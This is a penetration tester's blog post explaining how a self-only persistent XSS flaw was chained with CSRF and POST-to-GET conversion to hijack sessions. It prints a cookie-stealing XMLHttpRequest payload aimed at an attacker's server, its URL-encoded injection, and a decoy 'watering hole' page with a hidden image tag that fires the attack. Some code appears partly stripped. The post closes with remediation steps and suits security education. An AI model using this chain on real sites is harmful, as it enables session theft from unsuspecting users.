Blog: How Tos

How to exploit XSS with CSRF

David Lodge 26 Feb 2016

XSSCSRFsmallIn an attempt to be the first blog post on our swanky new website, I’m going to bring out an example from a recent real world test of how it is possible to chain some low level risks to create a vector and allow exploitation.

Some Background

First, some background, I was testing a site which had a persistent Cross Site Scripting (XSS) vulnerability on the user’s profile page. Whereby the user could alter their own username and perform a XSS on themselves. No other user could view this XSS exploit.

Sound a bit difficult to exploit doesn’t it? We see this quite commonly, and normally raise it as a risk, occasionally it’s even fixed, but not always, after all, there’s no way of exploiting it.

If only there was a way of exploiting this.

Fortunately the site had two other flaws which allowed me to create a proof of concept that could allow a session compromise.

POST to GET Conversion

The first vulnerability was that the site allowed all HTTP requests using the POST verb to be sent with a GET verb. To demonstrate, a POST request is sent in the body of an HTTP request, for example:

POST /user-config HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Cookie: SESSION=abcdef123
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 244firstname=dave&username=tautology

Whereas a GET request is sent in the URL of an HTTP request, for example:

GET /user-config?firstname=dave&username=tautology HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Cookie: SESSION=abcdef123
Connection: close

What this means is that if we can persuade the server to accept a GET request we can craft a URL which can be clicked on to perform the command, in the above example:

This nicely leads us into the other vulnerability…

Cross Site Request Forgery

Or… using the web how it was designed.

Cross Site Request Forgery (CSRF or XSRF) is a swine to explain – at its basic level it’s using a URL and a set up session to get your mark to do something for you.

Let me try and explain that better. As HTTP is designed to be stateless – i.e. every request is treated as a unique request – hacks where introduced to allow sessions to be remembered, the most common being that of a session cookie, which is passed with every request.

The simplicity of this solution is that the browser will do all the hard work for you – if I have a cookie for then the browser will send that cookie with every request to that site.

This means that if I can get my mark to visit with a URL I request something will be performed under their rights.

To get them to follow a URL is simple and requires tiny bit of social engineering, this could be by an email link or a link of a forum that the user goes to. The easiest way to set this up is to set up our own web server, a tactic called setting up a ”watering hole”.

There is one big thing that gets in our way: the browser same-origin policy. This policy says that we can only use request to complex calls such as XMLHttpRequest to the same domain or ones where a Cross-Origin Resource Sharing (CORS) policy lets us.

We don’t have a CORS policy on our target server, so we have to use more lower level techniques, such as loading the page as an image. One of the nice features of the <img> HTML tag is that it doesn’t care what data it gets back and the browser will ignore anything it doesn’t understand.

The disadvantage is that we can only use the GET method.

Putting it Together

So we have the following:

  1. An exploit that can allow us to execute custom JavaScript in the client’s session
  2. A CSRF vulnerability which we can use to send a custom GET request to the host
  3. POST to GET conversion so that we can turn a POST request to a GET request

This is all the ingredients for a successful exploit. The first thing to do is to create the JavaScript to run in the user’s session. The best way is to use an XMLHttpRequest to create an HTTP request to a server we control with the cookie value of the session in it. Something like:

x=new XMLHttpRequest();‘GET’,’’+document.cookie,false);x.send();

We need to full exploit this to make it look transparent to the user, so we add the XSS exploit around it: XMLHttpRequest();‘GET’,’’%2bdocument.cookie,false);x.send();</script><div id=’

The <div id=’ at the end is to mask the left over HTML after the XSS exploit so that there are no artefacts to give the clue away.

We’re going to put this on a watering hole website loaded as an image, with some basic content that we could use to pull the mark in.

So the first task is to create a simple webpage without our exploit in it. For this I borrowed a cartoon from xkcd (, as a reason for the page (and also because they’re licensed under a creative commons attribution licence, so I can use them).

So here’s the code for my basic website:

<html><p>Whilst you’re reading this cartoon, I’m compromising your account.</p>

<img src=”security_question.png” />


<img style=”visibility: hidden” src=”

/?form-firstname=Dave%27+%2F%3E%3Cscript%3Ex=new XMLHttpRequest();‘GET’,’’%2bdocument.cookie,false);x.send();</script><div id='” />



All the magic is in that <img> tag, which I’ve hidden.


So I persuade my mark to visit that site which will visit the URL I embedded, which will exploit the persistent XSS so that the next time the user visits the page (something that could also be socially engineered) they will be exploited and their session details will be sent to my account.


(Yeah this is heavily redacted, but you get the idea).


So I’ve demonstrated that with a bit of effort (and some social engineering) a vulnerability with no conventional attack vector can be exploited by using other flaws.

How we fix this? There are multiple steps:

  1. Ensure that all untrusted data is validated no matter who it is shown to and where.
  2. Use CSRF tokens on critical forms, such as password changes, to minimise the risk from CSRF.
  3. Accept critical forms only through the POST HTTP method.
  4. Ensure that appropriate security education is in place so that people know never to followed suspicious links.